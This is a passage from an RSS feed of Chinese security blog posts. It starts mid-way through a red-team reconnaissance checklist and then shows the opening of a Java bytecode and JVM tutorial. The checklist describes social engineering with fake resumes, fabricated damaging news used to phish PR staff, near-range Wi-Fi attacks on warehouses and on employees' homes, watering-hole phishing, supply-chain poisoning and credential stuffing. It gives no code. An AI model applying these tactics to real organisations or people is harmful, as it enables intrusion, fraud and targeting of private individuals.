1);">如果没有，是否可以通过内网渗透跨网段打到母公司</p></li><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">是否可以通过内网渗透拿到母公司oa账号、vpn账号，同源码项目源码</p></li><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">如果都没有，通过水坑攻击能否钓到内部人员pc拿到账号cookie、聊天软件、在线办公文档等权限，扩大信息收集范围</p></li><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">子公司有两种打法，刷src就看打到漏洞要不要就好了，如果是为了以红队视角刷src或者干脆就是给大甲方做红队，那么就要看</p></li></ul><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">IT系统开发外包公司</p></li><ul style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;color: black;list-style-type: square;" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">面对银行、大型国有企业非常好用，有很多外包公司专门服务于某银行，员工常年外派到现场开发运维系统，收集服务于银行的外包公司信息，渗透后通过权限对目标进行信息收集</p></li></ul><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">公众号、服务号、视频号</p></li><ul style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;color: black;list-style-type: square;" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">通过公众号服务号抖音号获取内部晋升名单等内部信息，包括内部系统、内网使用域名等信息，以及内部公司架构、服务变动</p></li></ul><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">抖音、电商账号</p></li><ul style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;color: black;list-style-type: square;" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">通过电商账号确认对方发货仓所在地理位置，尝试是否可能通过近源渗透货仓附近wifi、岗楼停车场监控pc进入内网进行渗透</p></li></ul><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">新闻</p></li><ul style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;color: black;list-style-type: square;" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">如尝试从某业务作为切入点进行渗透，可以通过新闻报道，社工相关业务负责人身份信息获取其常用账号，家庭住址等信息，通过密码泄露、近源渗透业务负责人家庭WiFi等方式，获取业务账号</p></li></ul><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">接码平台爬虫</p></li><ul style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;color: black;list-style-type: square;" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">通过爬取国内历史接码平台，查看目标各个平台接码平台历史账号，通过再接码或口令爆破方式获取账号权限</p></li></ul><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">用户手册、开发手册</p></li><ul style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;color: black;list-style-type: square;" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">通过开发手册获取系统更多域名、接口等信息，以及不同权限账号解锁的不同功能的url、和可能存在的功能，通过功能名组合猜测api</p></li></ul><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">boss直聘、脉脉</p></li><ul style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;color: black;list-style-type: square;" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">通过boss直聘、脉脉等信息获取内部员工姓名、出生日期，通过投递假简历方式社工，获取对方手机号、姓名、邮箱，进行社工或组合字典爆破</p></li></ul><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">通过小红书、微博等平台要求内推等方式获取员工联系方式进行社工</p></li><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">通过恶意构造影响力恶劣的假新闻要求其内部公关人员联系进行社工及钓鱼（慎用）</p></li><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">通过对方组织的社会公开比赛通过向组委会投递素材进行投毒</p></li><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">通过github进行收集</p></li><ul style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;color: black;list-style-type: square;" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">包括url、开放端口服务、路径、账号进行搜集</p></li><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">通过不同种类代码格式不同，如java要将域名倒置等方式根据域名组合字典进行搜索（com.baidu）</p></li><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">根据集团下具体业务（如某银行的xx贷）的中文名称、中文缩写、英文缩写、拼音、拼音缩写进行源码泄露信息收集</p></li><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">通过某子域名的页面代码特征或特使路径进行检索收集</p></li><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">通过敏感信息泄露人的follower和following和项目共同参与人收集</p></li><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">查看commit去历史版本找信息泄露</p></li></ul><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">通过语雀、看云、石墨文档、印象笔记、Baklib、OneNote、为知笔记、有道云协作等在线文档进行信息收集</p></li><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">通过搜索引擎对公开的浏览器书签插件进行搜索</p></li><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">通过运营商新闻、社会负面新闻收集企业ip段或员工ip出口服务器ip等信息（如xx ip攻击xxx，发现是xx公司所属ip，或xx运营商与xx公司签约提供xx段ip为xx公司ip）</p></li><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">对各地子公司资产、支行、业务子公司进行信息收集</p></li><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">子域名+扫描器进行web资产信息收集（端口、域名、子域名、js、测试页面、swagger-ui、ip段）</p></li><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">通过特殊认证，如企业认证获取服务的更多权限</p></li><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">通过github等平台获取已通过认证的账号对 目标提供的业务进行渗透</p></li><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">如果是to b，打下客户公司撞库，一切为了账号权限</p></li><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">加qq员工群聊一下看下群文件和聊天记录和社工、也可以看下贴吧</p></li><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">招投标信息，供应商打一下</p></li><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">服务供应商，打下来审源码或投毒</p></li><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">谷歌很好用，各类格式文件、子域名、业务名英文、业务名汉字、业务名中英文缩写，业务合作信息统统一把梭</p></li></ul><h1 style="margin-top: 30px;margin-bottom: 15px;color: rgb(0, 0, 0);font-weight: bold;font-size: 24px;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);">outside的其他方式</h1><ul style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">outside的某些论坛会记录发言人ip，对公司话题进行搜索，查看对方ip与收集到的ip交叉对比确认资产归属及员工ip</p></li><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">数据泄露论坛获取敏感信息</p></li><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">outside的赏金论坛类似乌云，查看历史漏洞资产信息</p></li><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">google文档、各类网盘看一下</p></li></ul><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="2247483921">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=a71125b0&amp;r=1&amp;u=http%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzUyOTI5MTM4OQ%3D%3D%26mid%3D2247483921%26idx%3D1%26sn%3D536b742bad0603335f4a5042cf620261">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Wed, 09 Aug 2023 11:00:00 +0800</pubDate>
    </item>
    <item>
      <title>[下班充电计划]JAVA基础知识补全-JVM|字节码|JNA|JNR|JNI|JMX</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzUyOTI5MTM4OQ==&amp;mid=2247483917&amp;idx=1&amp;sn=f7cac693d426d95e83f6ffd178c16722</link>
      <description></description>
      <content:encoded><![CDATA[<p>
<span>鲁平</span> <span>2023-08-03 23:59</span> <span style="display: inline-block;">北京</span>
</p>

<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=e0ec4965&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FkEgicicM5SiaCcHrRMYUAelibtIgXK0l3Qs9rb5IO2vdrcIvTL2aM65bYYNiaDudTVpQtYAV4s208TTpbjg7DtUXNqg%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<h2 style="margin-top: 30px;margin-bottom: 15px;color: rgb(0, 0, 0);font-weight: bold;font-size: 22px;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);">参考文献</h2><p style="margin-bottom: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);"><a href="https://pdai.tech/md/java/jvm/java-jvm-class.html" target="_blank">https://pdai.tech/md/java/jvm/java-jvm-class.html</a></p><p style="margin-bottom: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);"><a href="https://www.wdbyte.com/java/jmx/" target="_blank">https://www.wdbyte.com/java/jmx/</a></p><p style="margin-bottom: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);"><a href="https://learn.lianglianglee.com/%E4%B8%93%E6%A0%8F/JVM%20%E6%A0%B8%E5%BF%83%E6%8A%80%E6%9C%AF%2032%20%E8%AE%B2%EF%BC%88%E5%AE%8C%EF%BC%89/11%20JDWP%20%E7%AE%80%E4%BB%8B%EF%BC%9A%E5%8D%81%E6%AD%A5%E6%9D%80%E4%B8%80%E4%BA%BA%EF%BC%8C%E5%8D%83%E9%87%8C%E4%B8%8D%E7%95%99%E8%A1%8C.md" target="_blank">https://learn.lianglianglee.com/%E4%B8%93%E6%A0%8F/JVM%20%E6%A0%B8%E5%BF%83%E6%8A%80%E6%9C%AF%2032%20%E8%AE%B2%EF%BC%88%E5%AE%8C%EF%BC%89/11%20JDWP%20%E7%AE%80%E4%BB%8B%EF%BC%9A%E5%8D%81%E6%AD%A5%E6%9D%80%E4%B8%80%E4%BA%BA%EF%BC%8C%E5%8D%83%E9%87%8C%E4%B8%8D%E7%95%99%E8%A1%8C.md</a></p><p style="margin-bottom: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);"><a href="https://forum.butian.net/share/1232" target="_blank">https://forum.butian.net/share/1232</a></p><p style="margin-bottom: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);"><a href="https://www.cnblogs.com/lanxuezaipiao/p/3635556.html" target="_blank">https://www.cnblogs.com/lanxuezaipiao/p/3635556.html</a></p><p style="margin-bottom: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);"><a href="https://blog.csdn.net/weixin_40986713/article/details/131803534" target="_blank">https://blog.csdn.net/weixin_40986713/article/details/131803534</a></p><p style="margin-bottom: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);"><strong>整理学习前人知识，拾人牙慧</strong></p><p style="margin-bottom: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);"><strong>如阅读过程中有感到缺失或描述不清地方请看原始参考文章</strong></p><h2 style="margin-top: 30px;margin-bottom: 15px;color: rgb(0, 0, 0);font-weight: bold;font-size: 22px;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);">字节码</h2><ul style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">class文件头魔数及版本号</p></li><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">常量池</p></li><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">访问标志</p></li><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">类索引、父索引、接口索引</p></li><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">字段表属性</p></li><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">方法表属性</p></li><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">属性表属性</p></li></ul><div style="margin-bottom: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);">文件开头的4个字节(&#34;cafe babe&#34;)称之为 <p style="font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">魔数</p></div><p style="margin-bottom: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);">后面0000为jdk编译器次版本号</p><p style="margin-bottom: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);">后四位为主版本号</p><pre style="font-size: 16px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;margin-top: 10px;margin-bottom: 10px;overflow: auto;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;color: rgb(0, 0, 0);letter-spacing: normal;text-align: left;background-color: rgb(255, 255, 255);"><p style="font-size: 12px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;display: -webkit-box;overflow-x: auto;padding: 15px 16px 16px;color: rgb(171, 178, 191);background: rgb(40, 44, 52);border-radius: 5px;">Classfile /E:/JavaCode/TestProj/out/production/TestProj/com/rhythm7/Main<span style="line-height: 26px;">.<span style="color: rgb(198, 120, 221);line-height: 26px;">class</span>     //文件当前位置              <span style="color: rgb(230, 192, 123);line-height: 26px;">Last</span> <span style="color: rgb(230, 192, 123);line-height: 26px;">modified</span> 2018-4-7</span>;   <span style="color: rgb(92, 99, 112);font-style: italic;line-height: 26px;">//最终修改时间</span>size <span style="color: rgb(209, 154, 102);line-height: 26px;">362</span> bytes    <span style="color: rgb(92, 99, 112);font-style: italic;line-height: 26px;">//文件大小</span>        MD5 checksum <span style="color: rgb(209, 154, 102);line-height: 26px;">4</span>aed8540b098992663b7ba08c65312de      <span style="color: rgb(92, 99, 112);font-style: italic;line-height: 26px;">//md5值</span>      Compiled from <span style="color: rgb(152, 195, 121);line-height: 26px;">&#34;Main.java&#34;</span>    <span style="color: rgb(92, 99, 112);font-style: italic;line-height: 26px;">//编译自哪个文件</span>    <span style="color: rgb(198, 120, 221);line-height: 26px;">public</span> <span style="line-height: 26px;"><span style="color: rgb(198, 120, 221);line-height: 26px;">class</span> <span style="color: rgb(230, 192, 123);line-height: 26px;">com</span>.<span style="color: rgb(230, 192, 123);line-height: 26px;">rhythm7</span>.<span style="color: rgb(230, 192, 123);line-height: 26px;">Main</span>    //类的全限定名      <span style="color: rgb(230, 192, 123);line-height: 26px;">minor</span> <span style="color: rgb(230, 192, 123);line-height: 26px;">version</span>: 0  <span style="color: rgb(230, 192, 123);line-height: 26px;">major</span> <span style="color: rgb(230, 192, 123);line-height: 26px;">version</span>: 52      //编译器的主版本号和次版本号                <span style="color: rgb(230, 192, 123);line-height: 26px;">flags</span>: <span style="color: rgb(230, 192, 123);line-height: 26px;">ACC_PUBLIC</span>, <span style="color: rgb(230, 192, 123);line-height: 26px;">ACC_SUPER</span>      //类的访问标识      <span style="color: rgb(230, 192, 123);line-height: 26px;">Constant</span> <span style="color: rgb(230, 192, 123);line-height: 26px;">pool</span>://常量池（字面量+符号引用）//符号引用：类和接口全限定名//字段的名称和描述符号//方法的名称和描述符/*<span style="color: rgb(230, 192, 123);line-height: 26px;">JVM</span>是在加载<span style="color: rgb(230, 192, 123);line-height: 26px;">Class</span>文件的时候才进行的动态链接当虚拟机运行时，需要从常量池获得对应的符号引用再在类创建或运行时解析并翻译到具体的内存地址中*/   #1 </span>= Methodref          #<span style="color: rgb(209, 154, 102);line-height: 26px;">4</span>.#<span style="color: rgb(209, 154, 102);line-height: 26px;">18</span>         <span style="color: rgb(92, 99, 112);font-style: italic;line-height: 26px;">// java/lang/Object.&#34;&lt;init&gt;&#34;:()V  方法定义</span>   #<span style="color: rgb(209, 154, 102);line-height: 26px;">2</span> = Fieldref           #<span style="color: rgb(209, 154, 102);line-height: 26px;">3</span>.#<span style="color: rgb(209, 154, 102);line-height: 26px;">19</span>         <span style="color: rgb(92, 99, 112);font-style: italic;line-height: 26px;">// com/rhythm7/Main.m:I 声明int型变量m</span>   #<span style="color: rgb(209, 154, 102);line-height: 26px;">3</span> = Class              #<span style="color: rgb(209, 154, 102);line-height: 26px;">20</span>            <span style="color: rgb(92, 99, 112);font-style: italic;line-height: 26px;">// com/rhythm7/Main</span>   #<span style="color: rgb(209, 154, 102);line-height: 26px;">4</span> = Class              #<span style="color: rgb(209, 154, 102);line-height: 26px;">21</span>            <span style="color: rgb(92, 99, 112);font-style: italic;line-height: 26px;">// java/lang/Object</span>   #<span style="color: rgb(209, 154, 102);line-height: 26px;">5</span> = Utf8               m   #<span style="color: rgb(209, 154, 102);line-height: 26px;">6</span> = Utf8               I   #<span style="color: rgb(209, 154, 102);line-height: 26px;">7</span> = Utf8               &lt;init&gt;   #<span style="color: rgb(209, 154, 102);line-height: 26px;">8</span> = Utf8               ()V   #<span style="color: rgb(209, 154, 102);line-height: 26px;">9</span> = Utf8               Code  #<span style="color: rgb(209, 154, 102);line-height: 26px;">10</span> = Utf8               LineNumberTable  #<span style="color: rgb(209, 154, 102);line-height: 26px;">11</span> = Utf8               LocalVariableTable  #<span style="color: rgb(209, 154, 102);line-height: 26px;">12</span> = Utf8               <span style="color: rgb(198, 120, 221);line-height: 26px;">this</span>  #<span style="color: rgb(209, 154, 102);line-height: 26px;">13</span> = Utf8               Lcom/rhythm7/Main;  #<span style="color: rgb(209, 154, 102);line-height: 26px;">14</span> = Utf8               inc  #<span style="color: rgb(209, 154, 102);line-height: 26px;">15</span> = Utf8               ()I  #<span style="color: rgb(209, 154, 102);line-height: 26px;">16</span> = Utf8               SourceFile  #<span style="color: rgb(209, 154, 102);line-height: 26px;">17</span> = Utf8               Main.java  #<span style="color: rgb(209, 154, 102);line-height: 26px;">18</span> = NameAndType        #<span style="color: rgb(209, 154, 102);line-height: 26px;">7</span>:#<span style="color: rgb(209, 154, 102);line-height: 26px;">8</span>          <span style="color: rgb(92, 99, 112);font-style: italic;line-height: 26px;">// &#34;&lt;init&gt;&#34;:()V</span>  #<span style="color: rgb(209, 154, 102);line-height: 26px;">19</span> = NameAndType        #<span style="color: rgb(209, 154, 102);line-height: 26px;">5</span>:#<span style="color: rgb(209, 154, 102);line-height: 26px;">6</span>          <span style="color: rgb(92, 99, 112);font-style: italic;line-height: 26px;">// m:I</span>  #<span style="color: rgb(209, 154, 102);line-height: 26px;">20</span> = Utf8               com/rhythm7/Main  #<span style="color: rgb(209, 154, 102);line-height: 26px;">21</span> = Utf8               java/lang/Object{  <span style="color: rgb(198, 120, 221);line-height: 26px;">private</span> <span style="color: rgb(198, 120, 221);line-height: 26px;">int</span> m;    descriptor: I    flags: ACC_PRIVATE<span style="color: rgb(92, 99, 112);font-style: italic;line-height: 26px;">//方法表集合，对类内部的方法描述，私有变量m，类型int，返回int</span>          <span style="color: rgb(198, 120, 221);line-height: 26px;">public</span> com.rhythm7.Main();    descriptor: ()V    flags: ACC_PUBLIC        <span style="color: rgb(92, 99, 112);font-style: italic;line-height: 26px;">//构造方法,属性public</span>    Code:      stack=<span style="color: rgb(209, 154, 102);line-height: 26px;">1</span>,<span style="color: rgb(92, 99, 112);font-style: italic;line-height: 26px;">/*最大操作数栈*/</span>           locals=<span style="color: rgb(209, 154, 102);line-height: 26px;">1</span>,<span style="color: rgb(92, 99, 112);font-style: italic;line-height: 26px;">//局部变量所需存储空间（单位slot-4字节）</span>      args_size=<span style="color: rgb(209, 154, 102);line-height: 26px;">1</span><span style="color: rgb(92, 99, 112);font-style: italic;line-height: 26px;">//（方法参数个数）</span>         <span style="color: rgb(209, 154, 102);line-height: 26px;">0</span>: aload_0         <span style="color: rgb(209, 154, 102);line-height: 26px;">1</span>: invokespecial #<span style="color: rgb(209, 154, 102);line-height: 26px;">1</span>                  <span style="color: rgb(92, 99, 112);font-style: italic;line-height: 26px;">// Method java/lang/Object.&#34;&lt;init&gt;&#34;:()V</span>         <span style="color: rgb(209, 154, 102);line-height: 26px;">4</span>: <span style="color: rgb(198, 120, 221);line-height: 26px;">return</span>             <span style="color: rgb(92, 99, 112);font-style: italic;line-height: 26px;">//方法体内容，0,1,4为字节码行号</span>                                             LineNumberTable:        line <span style="color: rgb(209, 154, 102);line-height: 26px;">3</span>: <span style="color: rgb(209, 154, 102);line-height: 26px;">0</span>            <span style="color: rgb(92, 99, 112);font-style: italic;line-height: 26px;">//描述源码行号与字节码行号(字节码偏移量)之间的对应关系，可以使用 -g:none 或-g:lines选项来取消或要求生成这项信息，如果选择不生成LineNumberTable，当程序运行异常时将无法获取到发生异常的源码行号，也无法按照源码的行数来调试程序。</span>      LocalVariableTable:        Start <span style="color: rgb(92, 99, 112);font-style: italic;line-height: 26px;">/*局部变量在哪一行开始可见*/</span> Length<span style="color: rgb(92, 99, 112);font-style: italic;line-height: 26px;">/*可见行数*/</span>  Slot<span style="color: rgb(92, 99, 112);font-style: italic;line-height: 26px;">/*所在帧栈位置*/</span>  Name  <span style="color: rgb(92, 99, 112);font-style: italic;line-height: 26px;">/*变量名称*/</span> Signature<span style="color: rgb(92, 99, 112);font-style: italic;line-height: 26px;">/*类型签名*/</span>            <span style="color: rgb(209, 154, 102);line-height: 26px;">0</span>       <span style="color: rgb(209, 154, 102);line-height: 26px;">5</span>     <span style="color: rgb(209, 154, 102);line-height: 26px;">0</span>  <span style="color: rgb(198, 120, 221);line-height: 26px;">this</span>              <span style="color: rgb(92, 99, 112);font-style: italic;line-height: 26px;">// 帧栈中局部变量与源码中定义的变量之间的关系.可以使用 -g:none 或 -g:vars来取消或生成这项信息，如果没有生成这项信息，那么当别人引用这个方法时，将无法获取到参数名称，取而代之的是arg0, arg1这样的占位符。</span>            Lcom/rhythm7/Main;  <span style="line-height: 26px;"><span style="color: rgb(198, 120, 221);line-height: 26px;">public</span> <span style="color: rgb(198, 120, 221);line-height: 26px;">int</span> <span style="color: rgb(97, 174, 238);line-height: 26px;">inc</span><span style="line-height: 26px;">()</span></span>;    descriptor: ()I    flags: ACC_PUBLIC    Code:      stack=<span style="color: rgb(209, 154, 102);line-height: 26px;">2</span>, locals=<span style="color: rgb(209, 154, 102);line-height: 26px;">1</span>, args_size=<span style="color: rgb(209, 154, 102);line-height: 26px;">1</span>         <span style="color: rgb(209, 154, 102);line-height: 26px;">0</span>: aload_0         <span style="color: rgb(209, 154, 102);line-height: 26px;">1</span>: getfield      #<span style="color: rgb(209, 154, 102);line-height: 26px;">2</span>                  <span style="color: rgb(92, 99, 112);font-style: italic;line-height: 26px;">// Field m:I</span>         <span style="color: rgb(209, 154, 102);line-height: 26px;">4</span>: iconst_1         <span style="color: rgb(209, 154, 102);line-height: 26px;">5</span>: iadd         <span style="color: rgb(209, 154, 102);line-height: 26px;">6</span>: ireturn      LineNumberTable:        line <span style="color: rgb(209, 154, 102);line-height: 26px;">8</span>: <span style="color: rgb(209, 154, 102);line-height: 26px;">0</span>      LocalVariableTable:        Start  Length  Slot  Name   Signature            <span style="color: rgb(209, 154, 102);line-height: 26px;">0</span>       <span style="color: rgb(209, 154, 102);line-height: 26px;">7</span>     <span style="color: rgb(209, 154, 102);line-height: 26px;">0</span>  <span style="color: rgb(198, 120, 221);line-height: 26px;">this</span>   